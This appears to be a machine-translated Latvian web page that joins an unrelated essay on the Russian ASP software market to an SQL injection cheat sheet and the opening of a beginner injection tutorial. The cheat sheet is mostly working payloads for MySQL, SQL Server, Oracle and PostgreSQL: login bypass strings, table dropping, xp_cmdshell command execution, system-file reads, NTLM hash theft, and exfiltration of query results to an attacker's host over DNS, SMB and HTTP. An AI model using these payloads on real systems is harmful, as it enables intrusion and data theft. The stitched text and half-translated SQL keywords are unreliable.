Pieteikšanās vadības programmēšana. Kā attālināti izpildīt komandas, izmantojot SQL injekciju

Šobrīd nevar teikt, ka Krievijā būtu izveidojies pilnvērtīgs ASP tirgus. Krievijas lietotāji lielākoties joprojām neuztver ASP koncepciju kā noderīgu savam biznesam. Pašlaik (šī raksta tapšanas laikā) Krievijas tirgus Nav neviena veiksmīga ASP modeļa pilna mēroga ieviešanas piemēra lielā uzņēmumā. Faktiski ir tikai hostings, atsevišķi ieviesti ASP modeļa elementi, uzņēmumi, kas vēlas iesaistīties ASP biznesā utt. Tas ir, klasiskā ASP modeļa ieviešana Krievijā vēl nav ieviesta.

Tagad Krievijas tirgū ASP modelis ir piemērojams tikai personalizētiem e-pasta pakalpojumiem (Mail.ru, Beep.ru, Freemail.ru utt.) un specializētiem augsto tehnoloģiju pakalpojumiem (piemēram, reklāmkarogu un meklētājprogrammām, interneta statistikas sistēmām utt.) . Tajā pašā laikā pasta pakalpojumu noma nenozīmē tikai personīgās pastkastes nodrošināšanu katram atsevišķam lietotājam. Bezmaksas pasta serveri korporatīvajā sektorā plaši izmanto mazie uzņēmumi un privātie uzņēmēji. Galvenie šādu pakalpojumu klienti ir uzņēmumi, kas vēlas organizēt korporatīvā e-pasta pakalpojumu (vai automatizēt korporatīvo dokumentu plūsmu) vai interneta pakalpojumu sniedzēji (piemēram, portāli Rambler.ru, Yandex.ru u.c.), kas vēlas organizēt bezmaksas tīmekļa pasta pakalpojumu. savai auditorijai.

Krievijas lietotāju vidū ir zināma interese par elektronisko veikalu nomu (vitrīnas elektroniskā tirdzniecības platformā). Un tas ir diezgan saprotami. Tā kā Krievijā joprojām ir ļoti, ļoti maz veiksmīgu tiešsaistes tirdzniecības piemēru (neskatoties uz vairāku uzņēmumu skaļajiem paziņojumiem par to iespaidīgajiem sasniegumiem), šķiet vissaprātīgāk elektroniskā veikala īrēšanai tērēt par lielumu mazāk naudas (nekā tā iegāde un uzturēšana). Ja projekts neizdodas, to var slēgt diezgan ātri un bez būtiskiem zaudējumiem. Rietumos plaši izplatītā ERP lietojumprogrammu noma Krievijā šobrīd ir tikai pilotprojektu stadijā.

Nomai piedāvātās aplikācijas ietver gan salīdzinoši vienkāršus biroja komplektus (piemēram, MS Office), gan sarežģītākas aplikācijas (piemēram, Lotus Smart Suite), gan arī ERP sistēmas (piemēram, Navision Axapta).

Galvenās Krievijas ASP tirgus problēmas un iezīmes.

10.2 Problēmas Krievijas tirgū.

Pašlaik Krievijas ASP tirgus atpaliek no globālā ASP tirgus vismaz par vairākiem gadiem. Krievijas ASP tirgus embrionālo stāvokli izraisa vairākas tajā esošās problēmas. Galvenās no šīm problēmām ir:

1. Krievijas ekonomikas vispārējā atpalicība no Rietumu ekonomikas un uzņēmumu tehniskās infrastruktūras nepietiekama attīstība. Līdz šim lielākā daļa Krievijas uzņēmumu darbojas uz bāzes, kas izveidota pirms gadu desmitiem. tehniskā infrastruktūra. Patlaban uzņēmumu investīcijas tās modernizācijā joprojām ir nepietiekamas. Un šeit problēma drīzāk ir uzņēmumu finanšu prioritātēs, jo ne visi var ieguldīt nepieciešamos līdzekļus tehniskās infrastruktūras modernizācijā. Tāpēc viņiem ir jārisina savas pašreizējās problēmas, izmantojot esošo infrastruktūru.

2. Zems pieprasījums pēc ASP pakalpojumiem. Iedzīvotāji un korporatīvie klienti nav gatavi (lielākoties) maksāt par ASP pakalpojumiem. Lai gan vidusmēra Krievijas patērētājam tagad vienkārši ir aktuālākas un svarīgākas tēriņu prioritātes, korporatīvie lietotāji ASP pakalpojumus vēl neuztver nopietni.

3. Elektroniskā tirgus tiesiskā regulējuma vājums. Kamēr nav pieņemta pilna likumu pakete, par elektroniskā tirgus (arī ASP) attīstību nav jārunā.

4. Korporatīvo klientu (īpaši maksātspējīgāko uzņēmumu) finanšu pārskatu slēgtība.

5. Lielo uzņēmumu IT departamentu pretestība (gan tieša, gan netieša), kuriem ir jāpārorientējas uz citiem uzdevumiem, jāsamazina darbinieki un IT budžets utt.

6. Neliels skaits lietojumprogrammu, ko var izmantot ASP modelī Krievijas uzņēmumiem.

7. Krievijas darba tirgū ir diezgan liels skaits sākuma līmeņa un vidēja līmeņa IT speciālistu ar salīdzinoši zemu atalgojumu. Pēc 1998. gada krīzes lielākā daļa IT speciālistu atalgojuma palika pēckrīzes līmenī. Maziem un vidējiem uzņēmumiem reizēm ir lētāk uzturēt pašiem savus IT pakalpojumus nekā maksāt par ASP pakalpojumiem (atšķirībā no Rietumu uzņēmumiem, kur situācija ir tieši pretēja).

SQL injekcijas apkrāptu lapa izveidota kopsavilkuma aprakstam tehniskās īpašības dažādi veidi SQL injekcijas ievainojamības. Rakstā ir aprakstītas SQL injekciju iespējas MySQL, Microsoft SQL Serveris, ORĀKULS Un PostgreSQL.

0. Ievads
Šajā rakstā varat atrast detalizētu informāciju tehniskā informācija par dažādiem SQL injekciju veidiem. Tas var noderēt gan pieredzējušiem speciālistiem, gan jaunpienācējiem informācijas drošības jomā.

Šobrīd piezīmē ir informācija tikai par MySQL, Microsoft SQL serveris un daži dati par ORACLE un PostgreSQL. Sadaļās ir injekcijas sintakse, skaidrojumi un piemēri.

Izmantotie simboli:
M (MySQL);
S (SQL serveris);
O (Orākuls);
P (PostgreSQL);
+ (iespējams, citās datu bāzēs);
* (nepieciešami īpaši nosacījumi).

1. Līnijas komentāri
Komentāri parasti ir noderīgi, lai ignorētu daļu vaicājuma.
Sintakse:
-- (SM): DROP paraugu tabula;--
# (M): DROP paraugu tabula; #
Piemērs:
Lietotājvārds: admin" --
Ģenerēts vaicājums: SELECT * FROM dalībnieki WHERE lietotājvārds = "admin"--" UN parole = "parole"
Tas ļaus jums pieteikties kā administratora lietotājs, apejot paroles pārbaudi.

2. Bloķēt komentārus
Ar viņu palīdzību jūs varat ignorēt daļu pieprasījuma, aizstāt atstarpes, apiet melnos sarakstus un noteikt datu bāzes versiju.
Sintakse:
/*Komentārs*/ (SM):
DROP/*komentārs*/paraugs
DR/**/OP/*bypass_blacklist*/sampletable
SELECT/*replace_space*/password/**/FROM/**/Members

/*! MYSQL īpašais SQL */ (M): SELECT /*!32302 1/0, */ 1 NO tabulas nosaukums
Šī ir īpaša MySQL komentāru sintakse. Tas ļauj noteikt MySQL versiju. Šis komentārs darbosies tikai MySQL
Piemēri:
ID: 10; DROP TABLE dalībnieki /*
Mēs ignorējam pārējo pieprasījumu, tāpat kā rindiņas komentāru.

ID: /*!32302 10*/
jūs saņemsit tādu pašu atbildi kā ar ID=10, ja MySQL versija ir augstāka par 3.23.02

ID: /*!32302 1/0, */
Ģenerēts vaicājums: SELECT /*!32302 1/0, */ 1 FROM tabulas nosaukums
Ja serverim ir MySQL versija, kas ir augstāka par 3.23.02, radīsies dalīšanas ar 0 kļūda

3. Pieprasījumu secība
Ļauj izpildīt vairāk nekā vienu pieprasījumu vienlaikus. Tas ir noderīgi jebkurā injekcijas vietā.


Zaļš - atbalstīts; melns - netiek atbalstīts; pelēks - nezināms.
Sintakse:
; (S): SELECT * FROM dalībniekiem; DROP dalībnieki--
Viens pieprasījums beidzās, sākās nākamais.
Piemērs:
ID: 10;DROP dalībnieki --
Ģenerēts vaicājums: SELECT * FROM products WHERE id = 10; DROP dalībnieki--
Šis vaicājums nomet dalībnieku tabulu pēc parastā vaicājuma.

4. Nosacīti apgalvojumi
Mēs saņemsim atbildi uz pieprasījumu, kad nosacījums būs izpildīts. Šis ir viens no galvenajiem aklās injekcijas punktiem. Tie palīdz arī precīzi pārbaudīt vienkāršas lietas.
Sintakse:
IF(nosacījums, patiesa daļa, nepatiesa daļa) (M): ATLASĪT IF(1=1 "patiesa", "nepatiesa")
IF nosacījums true-part ELSE viltus daļa (S): IF (1=1) SELECT "true" ELSE SELECT "false"
IF nosacījums TAD true-part; ELSE viltus daļa; ENDIF; BEIGAS; (O): JA (1=1) TAD dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); ENDIF; BEIGAS;
SELECT CASE WHEN nosacījums THEN true-part ELSE false-part END; (P): IZVĒLĒTIES GADĪJUMU, KAD (1=1) TAD "A" CITI "B" BEIGAS;
piemērs:
ja ((atlasīt lietotāju) = "sa" VAI (izvēlēties lietotāju) = "dbo") atlasiet 1, citādi atlasiet 1/0 (S)
metīs dalījumu ar nulles kļūdu, ja pašreizējais lietotājs nevis "sa" vai "dbo".

5. Ciparu lietošana
Izmanto, lai apietu magic_quotes() un līdzīgus filtrus, tostarp WAF.
Sintakse:
0xHEX_NUMBER (SM):
ATLASĪT CHAR (0x66) (S)
SELECT 0x5045 (tas nav skaitlis, bet virkne) (M)
SELECT 0x50 + 0x45 (tagad tas ir skaitlis) (M)
Piemēri:
ATLASĪT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
Parāda faila c:\boot.ini saturu

6. Virkņu savienošana
Virknes darbības var palīdzēt apiet filtrus vai identificēt datu bāzi.
Sintakse:
+ (S): SELECT pieteikšanās + "-" + parole NO dalībniekiem
|| (*MO): SELECT login || "-" || parole NO biedriem
Darbosies, ja MySQL darbojas ANSI režīmā. Pretējā gadījumā MySQL to nepieņems kā loģiskais operators un atgriezīs 0. MySQL ir labāk izmantot funkciju CONCAT().

CONCAT(str1, str2, str3, …) (M): SELECT CONCAT(pieteikšanās, parole) NO dalībniekiem

7. Stīgas bez pēdiņām
Ir vairāki veidi, kā izvairīties no pēdiņu izmantošanas vaicājumā, piemēram, izmantojot CHAR() (MS) un CONCAT() (M).
Sintakse:
SELECT 0x457578 (M)

MySQL ir vienkāršs veids, kā attēlot virkni kā hex kodu:
SELECT CONCAT("0x",HEX("c:\\boot.ini"))

Atgriež virkni “KLM”:
ATLASĪT CONCAT(CHAR(75), CHAR(76), CHAR(77)) (M)
ATLASĪT CHAR(75)+CHAR(76)+CHAR(77) (S)
ATLASĪT CHR(75)||CHR(76)||CHR(77) (O)
ATLASĪT (CHaR(75)||CHaR(76)||CHaR(77)) (P)

8. Virkņu un skaitļu konvertēšana.
Sintakse:
ASCII() (SMP): SELECT ASCII("a")
Atgriež vistālāk kreisās rakstzīmes ASCII kodu. Funkciju izmanto aklajām injekcijām.

CHAR() (SM): ATLASĪT CHAR(64)
Pārvērš ASCII kodu attiecīgajā rakstzīmē.

9. SAVIENĪBAS operators
Ar UNION operatoru jūs varat jautāt tabulu krustpunktu. Būtībā varat nosūtīt vaicājumu, kas atgriež vērtību no citas tabulas.
Piemērs:
SELECT galvene, txt FROM ziņas SAVIENĪBA VISI SELECT nosaukumu, pass FROM biedriem
Tādējādi tiks apvienoti ziņu un dalībnieku tabulu rezultāti

10. Autentifikācijas apiešana (SMO+)
Piemēri:
administrators" -
administrators" #
administrators"/*
"vai 1=1--
" vai 1=1#
" vai 1=1/*
") vai "1"="1--
") vai ("1"="1--

11. apiet MD5 autentifikāciju
Ja lietojumprogramma vispirms salīdzina lietotājvārdu un pēc tam salīdzina paroles md5 hash, jums būs nepieciešami papildu triki, lai apietu autentifikāciju. Varat apvienot rezultātus ar zināmu paroli un tās jaucējfunkciju.
Piemērs (MSP):
Lietotājvārds: admin
Parole: 1234 "UN 1=0 UNION ALL SELECT "admin", "
= MD5(1234)

12. Pamatojoties uz kļūdām
12.1. Sleju definēšana, izmantojot HAVING BY(S)
Piemērs:
Tādā pašā secībā
" AR 1 = 1 --
" GROUP BY table.columnfromerror1 HAVING 1=1 --
" GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
" GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror3 HAVING 1=1 -
…………….
Turpiniet, līdz vairs nesaņemat kļūdas.

12.2. kolonnu skaita noteikšana, izmantojot ORDER BY (MSO+)
Kolonnu skaita atrašanu, izmantojot ORDER BY, var paātrināt, izmantojot UNION injekciju.
PASŪTĪT LĪDZ 1--
PASŪTĪT LĪDZ 2--
PASŪTĪT LĪDZ 3-
………………..
Turpiniet, līdz tiek parādīts kļūdas ziņojums. Tas norādīs kolonnu skaitu.

13. Datu tipa definīcija
Vienmēr izmantojiet UNION kopā ar ALL.
Lai atbrīvotos no nevajadzīga tabulas ieraksta, vaicājuma sākumā izmantojiet taustiņu -1 visām neesošām vērtībām (ja injekcija ir WHERE parametrā). Tas ir svarīgi, ja vienlaikus varat izgūt tikai vienu vērtību.
UNION injekcijās izmantojiet NULL, nevis mēģināt uzminēt virkni, datumu, numuru utt. Taču esiet piesardzīgs, injicējot akli, jo... iespējams, jūs sajaucat datu bāzes kļūdu ar pašu lietojumprogrammu. Dažas valodas, piemēram, ASP.NET, rada kļūdu, izmantojot NULL vērtību (jo izstrādātāji negaidīja, ka lietotājvārda laukā tiks rādīta nulles vērtība).
Piemēri:
" arodbiedrība izvēlieties summu (kolonnu atrast) no lietotājiem-- (S) :
Ja nesaņemat kļūdas ziņojumu, kolonna ir skaitliska.

SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, nulle, NULL, NULL, konvertēt(attēls,1), null, nulle, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL --
Varat izmantot CAST() vai CONVERT()

11223344) UNION SELECT NULL, NULL, NULL, NULL, KUR 1=2 —
Ja kļūdas nav, tad sintakse ir pareiza, t.i. Tiek izmantots MS SQL Server.

11223344) UNION SELECT 1, NULL, NULL, NULL, KUR 1=2 —
Ja kļūdas nav, tad pirmajā kolonnā ir skaitlis.

11223344) SAVIENĪBAS IZVĒLE 1,2,NULL,NULL, KUR 1=2 —
Ja parādās kļūda, tad otrā kolonna nav skaitlis.

11223344) UNION SELECT 1,'2', NULL, NULL, KUR 1=2 —
Ja kļūdas nav, tad otrā kolonna ir virkne.
……………..

14. Vienkāršs ieliktnis (MSO+)
Piemērs:
"; ievietot iekšā lietotāju vērtības (1, "hax0r", "coolpass", 9)/*

15. Informācijas vākšana
Sintakse:
@@version (MS)
Jūs varat uzzināt datu bāzes versiju un sīkāku informāciju.
Piemērs:
INSERT INTO dalībnieki(id, lietotājs, caurlaide) VĒRTĪBAS(1, ""+SUBSTRING(@@version,1,10) ,10)

16. Komplekss ieliktnis (S)
Ļauj ievietot faila saturu tabulā. Ja nezināt tīmekļa lietojumprogrammas iekšējo ceļu, varat lasīt IIS metabāzi (tikai IIS 6).
Sintakse:
fails (%systemroot%\system32\inetsrv\MetaBase.xml)
Pēc tam tajā varat atrast lietojumprogrammu ceļus.
Piemērs:
1. Izveidojiet tabulu foo (virknes tips varchar(8000))
2. Tabulā foo ievietojiet faila “c:\inetpub\wwwroot\login.asp” saturu.
3. Nometiet pagaidu tabulu un atkārtojiet citu failu.

17. BCP (S)
Pieraksta teksta fails. Tam ir nepieciešami akreditācijas dati.
Piemērs:
bcp "SELECT * FROM test..foo" vaicājums c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

18. VBS, WSH SQL serverī (S)
SQL serverī varat izmantot VBS, WSH skriptus.
Piemērs:
Lietotājvārds:"; deklarēt @o int exec sp_oacreate "wscript.shell", @o out exec sp_oamethod @o, "palaist", NULL, "notepad.exe" –

19. Izpildīt sistēmas komandas (S)
Labi zināms triks, šis līdzeklis pēc noklusējuma ir atspējots SQL Server 2005. Jums ir nepieciešamas administratora tiesības.
Piemērs:
EXEC master.dbo.xp_cmdshell "cmd.exe dir c:"
EXEC master.dbo.xp_cmdshell "ping"

20. Speciālās tabulas SQL serverī (S)
Piemēri:
Kļūdu ziņojumi: master..sysmessages
Saistītie serveri: master..sysservers
Parole SQL Server 2000: masters..sysxlogins
Parole SQL Server 2005: sys.sql_logins

21. Vairākas saglabātas procedūras SQL Server (S)
Sintakse:
Cmd Izpildīt (xp_cmdshell)
Reģistra informācija (xp_regread):
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemmultistring
xp_regwrite
Pakalpojumu pārvaldība (xp_servicecontrol)
Multivide (xp_availablemedia)
ODBC resursi (xp_enumdsn)
Pieteikšanās režīms (xp_loginconfig)
Cab failu izveide (xp_makecab)
Domēnu uzskaitījums (xp_ntsec_enumdomains)
Procesa nogalināšana (nepieciešams PID) (xp_terminate_process)
Pievienot jaunu procedūru (sp_addextendedproc)
Rakstiet teksta failu uz UNC vai iekšējo ceļu (sp_makewebtask)
Piemēri:
exec xp_regread HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\lanmanserver\parameters", "nullsessionshares"
exec xp_regenumvalues HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities"
sp_addextendedproc 'xp_webserver', 'c:\temp\x.dll'
exec xp_webserver

22. MSSQL lielapjoma piezīmes
Piemēri:
SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
DEKLARĒT @result int; EXEC @result = xp_cmdshell "dir *.exe";IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) — http://msdn2.microsoft.com/en-us/library/ms190312.aspx

23. SQL injekcija LIMIT (M) vaicājumos
Piemērs:
SELECT id, produkts FROM test.test LIMIT 0,0 UNION ALL SELECT 1,"x"/*,10 ;
Lai apietu LIMIT operatoru, varat izmantot UNION vai komentāru.

24. SQL Servera (S) izslēgšana
Piemērs:
";izslēgt -

25. Xp_cmdshell iespējošana SQL Server 2005
Sintakse:
Pēc noklusējuma xp_cmdshell un daži citi potenciāli bīstami līdzekļi ir atspējoti SQL Server 2005. Ja jums ir administratora tiesības, varat tās iespējot.
EXEC sp_configure "rādīt papildu opcijas",1
PĀRKONFIGŪRĒT
EXEC sp_configure "xp_cmdshell",1
PĀRKONFIGŪRĒT

26. Datu bāzes struktūras meklēšana SQL serverī (S)
Piemēri:
ATLASĪT nosaukumu FROM sysobjects WHERE xtype = "U"

SELECT nosaukums FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "tablenameforcolumnnames")
Kolonnu nosaukumu iegūšana

27. Moving Records (S)
Piemēri:
... KUR lietotāji NAV IEEJĀS ("Pirmais lietotājs", "Otrais lietotājs")
Izmantojiet WHERE ar NOT IN vai NOT EXIST

IZVĒLĒTIES TOP 1 vārdu NO dalībniekiem, KUR NEPASTĀV (ATLASĪT TOP 0 vārdu NO dalībniekiem)

SELECT * FROM Product WHERE ID=2 AND 1=CAST((Izvēlieties p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id)<=o.id)
AS x, nosaukums no sysobjects o) kā p kur p.x=3) kā int

Izvēlieties p.name no (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype="U" un i.id)<=o.id) AS x, name from sysobjects o WHERE o.xtype = "U") as p where p.x=21

28. Ātrs veids, kā iegūt datus no SQL Server (S) kļūdām balstītas injekcijas.
";BEGIN DECLARE @rt varchar(8000) SET @rd=":" SELECT @rd=@rd+" "+nosaukums FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "MEMBERS") AND name>@rd SELECT @rd AS rd TMP_SYS_TMP beigās;--

29. Datu bāzes struktūras meklēšana MySQL (M)
Piemēri:
SELECT tabulas_nosaukums FROM information_schema.tables WHERE table_schema = "tabulas nosaukums"
Pielāgotu tabulu iegūšana

SELECT tabulas_nosaukums, kolonnas_nosaukums FROM informācija_shēma.columns WHERE tabulas_shēma = "tabulas nosaukums"
Kolonnu nosaukumu iegūšana

30. Datu bāzes struktūras meklēšana programmā Oracle (O)
Piemēri:
SELECT * FROM all_tables WHERE OWNER = "DATU BĀZES_NAME"
Pielāgotu tabulu iegūšana

SELECT * FROM all_col_comments WHERE TABLE_NAME = "TABLE"
Kolonnu nosaukumu iegūšana

31.Aklo injekcijas
Kvalitatīvajā lietojumprogrammā jūs nevarēsit redzēt kļūdu ziņojumus. Jūs nevarēsit izmantot UNION operatoru un uz kļūdām balstītus uzbrukumus. Lai iegūtu datus, jums būs jāizmanto akla SQL injekcija. Ir divu veidu aklo injekcijas.
Regulāra aklā injekcija: jūs nevarat redzēt pieprasījumu rezultātus lapā, bet jūs varat noteikt rezultātu pēc atbildes vai HTTP statusa.
Pilnīgi akla injekcija: jūs neredzēsit nekādas atšķirības izvadē.
Parastās aklās injekcijās varat izmantot IF un WHERE paziņojumus, pilnībā aklos injekcijās ir jāizmanto dažas gaidīšanas funkcijas un jāsalīdzina reakcijas laiks. Lai to izdarītu, varat izmantot WAIT FOR DELAY '0:0:10' SQL Server, BENCHMARK() un miega režīmu (10) MySQL, pg_sleep(10) PostgreSQL.
Piemērs:
Šis piemērs ir balstīts uz reālu aklās injekcijas darbību SQL serverī.

TRUE: SELECT ID, lietotājvārds, e-pasts FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe)),1 ,1)),0)>78--

FALSE: SELECT ID, lietotājvārds, e-pasts FROM WHERE ID = 1 UN ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe)),1 ,1)),0)>103--

FALSE: SELECT ID, lietotājvārds, e-pasts FROM WHERE ID = 1 UN ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe)),1 ,1)),0)>89--

FALSE: SELECT ID, lietotājvārds, e-pasts FROM WHERE ID = 1 UN ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe)),1 ,1)),0)>83--

TRUE: SELECT ID, lietotājvārds, e-pasts FROM WHERE ID = 1 UN ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe)),1 ,1)),0)>79--

FALSE: SELECT ID, lietotājvārds, e-pasts FROM WHERE ID = 1 UN ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe)),1 ,1)),0)>80--

Pamatojoties uz pēdējiem diviem vaicājumiem, mēs precīzi zinām ascii pirmās rakstzīmes vērtību — tā ir 80. Tas nozīmē, ka pirmā rakstzīme ir "P". Tādā veidā mēs varam uzzināt tabulu nosaukumus un to saturu. Vēl viens veids ir nolasīt datus pa bitiem.

32. Pilnīgi akla injekcija
Izmantojiet šo metodi tikai patiesi aklas injekcijas gadījumā. Esiet uzmanīgi ar gaidīšanas laiku.
Sintakse:
GAIDĪT KAVĒŠANU "laiks" (S)
Funkcija vienkārši gaida norādīto laiku, neielādējot procesoru.
Piemēri:
if (atlasīt lietotāju) = "sa" gaidīt aizkavi "0:0:10"
ProductID =1;gaidiet aizkavi "0:0:10"--
ProductID =1);gaidiet aizkavi "0:0:10"--
ProductID =1";gaidiet aizkavi "0:0:10"--
ProductID =1");gaidiet aizkavi "0:0:10"--
ProductID =1));gaidiet aizkavi "0:0:10"--
ProductID =1"));gaidiet aizkavi "0:0:10"--
Sintakse:
ETALONS (cik reizes, dariet to) (M)
Piemērs:
JA PASTĀV (SELECT * FROM users WHERE lietotājvārds = "sakne") BENCHMARK(1000000000,MD5(1))
Mēs pārbaudām root lietotāja klātbūtni.

IF (ATLASĪT * NO pieteikšanās) ETALONS(1000000,MD5(1))
Tabulas esamības pārbaude MySQL
Sintakse:
pg_sleep(sekundes) (P)
Noguliet piegādātās sekundes.

miegs (sekundes) (M)
gulēt uz piegādātajām sekundēm.

bms_pipe.receive_message (O)
gulēt uz piegādātajām sekundēm.
Piemērs:
(SELECT CASE WHEN (NVL(ASCII(SUBSTR(((INJECTION)),1,1),0) = 100) THEN dbms_pipe.receive_message(("xyz"),10) ELSE dbms_pipe.receive_message(("xyz") ),1) BEIGAS NO dubultā)
(INJEKCIJA) – jūsu pieprasījums.
Ja nosacījums ir patiess, atbilde būs 10 sekundes. Pretējā gadījumā atbilde būs 1 sekunde.

33. Noderīgas MySQL funkcijas
Sintakse:
MD5()
SHA1()
PAROLE()
ENCODE()
KOMPRESS()
ROW_COUNT()
SHĒMA()
VERSIJA()

34. Otrās kārtas SQL injekcijas
Parasti laukā ievietojat SQL injekcijas vaicājumu un gaidāt, ka tas netiks filtrēts.
Piemērs:
Nosaukums: " + (IZVĒLĒTIES 1. TOP 1 paroli NO lietotājiem) + "
E-pasts: [aizsargāts ar e-pastu]
Ja lietojumprogrammā tiek izmantots saglabātās procedūras vai funkcijas lauka nosaukums, varat to izmantot injekcijai.

35. SQL servera izmantošana NTLM jaucējkodu iegūšanai
Šis uzbrukums palīdzēs iegūt mērķa servera Windows lietotāja paroli, izmantojot SQL Server, ja nav piekļuves no ārpuses. Mēs varam piespiest SQL Server izveidot savienojumu ar Windows, izmantojot UNC ceļu, un izvilkt NTLM sesiju, izmantojot īpašus rīkus, piemēram, Cain & Abel.

Sintakse:
UNC ceļš: "\\YOURIPADDRESS\C$\x.txt"
36. Citi injekciju piemēri
SQL serveris:
?vulnerableParam=1; SELECT * FROM OPENROWSET("SQLOLEDB", ((INJECTION))+.yourhost.com";"sa";"pwd", "SELECT 1")

?vulnerableParam=1; DEKLARĒT @q varchar(1024); SET @q = "\\"+((INJEKCIJA))+".jusuhost.com\\test.txt"; EXEC meistars..xp_dirtree @q
izveido DNS vaicājumu vietnei (INJECTION).yourhost.com

(INJEKCIJA) - jūsu pieprasījums.
MySQL:
?vulnerableParam=-99 VAI (SELECT LOAD_FILE(concat("\\\\",((INJECTION)), "yourhost.com\\")))
Izveido NBNS/DNS pieprasījumu vietnei yourhost.com
?vulnerableParam=-99 VAI (ATLASĪT ((INJECTION)) OUTFILE "\\\\yourhost.com\\share\\output.txt")
Ieraksta datus jūsu failā
(INJEKCIJA) - jūsu pieprasījums.
Orākuls:
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ sniff.php?sniff="||((INJECTION))||"") NO DUAL)
Sniferis saglabās rezultātus
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ "||((INJECTION))||".html") NO DUAL)
Rezultāti tiks saglabāti HTTP žurnālos
?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(((INJECTION))||".yourhost.com") NO DUAL)

?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(((INJECTION))||’.yourhost.com’,80) NO DUAL)
Jums jāanalizē DNS pieprasījuma trafiks uz yourhost.com
(INJEKCIJA) - jūsu pieprasījums.

Šis materiāls ir adaptīvs tulkojums rakstam SQL Injection Cheat Sheet.

Sveicināts, lasītāj. Pēdējā laikā mani interesē Web drošība, un zināmā mērā mans darbs ir saistīts ar to. Jo Arvien biežāk dažādos forumos sāku pamanīt tēmas, kas lūdz parādīt, kā tas viss darbojas, tāpēc nolēmu uzrakstīt rakstu. Raksts būs paredzēts tiem, kas ar to nav saskārušies, bet vēlētos mācīties. Internetā ir salīdzinoši daudz rakstu par šo tēmu, taču iesācējiem tie ir nedaudz sarežģīti. Es centīšos visu aprakstīt skaidrā valodā un detalizētos piemēros.

Priekšvārds

Lai saprastu šo rakstu, jums nav vajadzīgas SQL valodas zināšanas, bet vismaz laba pacietība un nedaudz prāta iegaumēšanai.

Uzskatu, ka ar raksta izlasīšanu vien nepietiks, jo... mums ir vajadzīgi dzīvi piemēri - kā zināms, prakse iegaumēšanas procesā nekad nav lieka. Tāpēc mēs rakstīsim neaizsargātus skriptus un apmācīsim tos.

Kas ir SQL injekcija?
Vienkārši sakot, tas ir uzbrukums datu bāzei, kas ļaus veikt kādu darbību, ko skripta veidotājs nebija plānojis. Piemērs no dzīves:

Tēvs zīmītē mātei rakstīja, lai viņš iedod Vasjai 100 rubļus un noliek uz galda. Pārstrādājot to komiskā SQL valodā, mēs iegūstam:
PAŅEM NO SAVA MAKA 100 RUBĻUS UN NODODIET tos Vasjai

Tā kā tēvs zīmīti uzrakstīja slikti (neveikls rokraksts) un atstāja to uz galda, Vasjas brālis Petja to redzēja. Petja, būdams hakeris, tur pievienoja “OR Pete”, un rezultāts bija šāds pieprasījums:
ŅEMT NO SAVA MAKA 100 RUBĻUS UN NODODIET tos Vasjai VAI Petjai

Mamma, izlasījusi zīmīti, nolēma, ka vakar iedeva Vasjai naudu un iedeva Petjai 100 rubļus. Šeit ir vienkāršs SQL injekcijas piemērs no dzīves:) Nefiltrējot datus (mamma knapi saprata rokrakstu), Petja guva peļņu.

Sagatavošana
Praksei jums būs nepieciešams arhīvs ar šī raksta avota skriptiem. Lejupielādējiet to un izpakojiet to serverī. Importējiet arī datu bāzi un iestatiet datus failā cfg.php

Meklēt SQL injekciju

Kā jūs jau sapratāt, injekcija tiek veikta no ienākošajiem datiem, kas nav filtrēti. Visizplatītākā kļūda ir nosūtītā ID nefiltrēšana. Nu, rupji runājot, liek citātus visos laukos. Vai tas būtu GET/POST pieprasījums vai pat sīkfails!

Ciparu ievades parametrs
Praksei mums ir nepieciešams skripts indekss1.php. Kā jau teicu iepriekš, mēs ievietojam citātus ziņu ID.

Jo Mūsu pieprasījumam nav filtrēšanas:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

Skripts to sapratīs kā

SELECT * FROM news WHERE id=1"

Un tas mums parādīs kļūdu:
Brīdinājums: mysql_fetch_array() paredz, ka 1. parametrs ir resurss, Būla vērtība ir norādīta failā C:\WebServ\domains\sqlinj\index1.php 16. rindā.

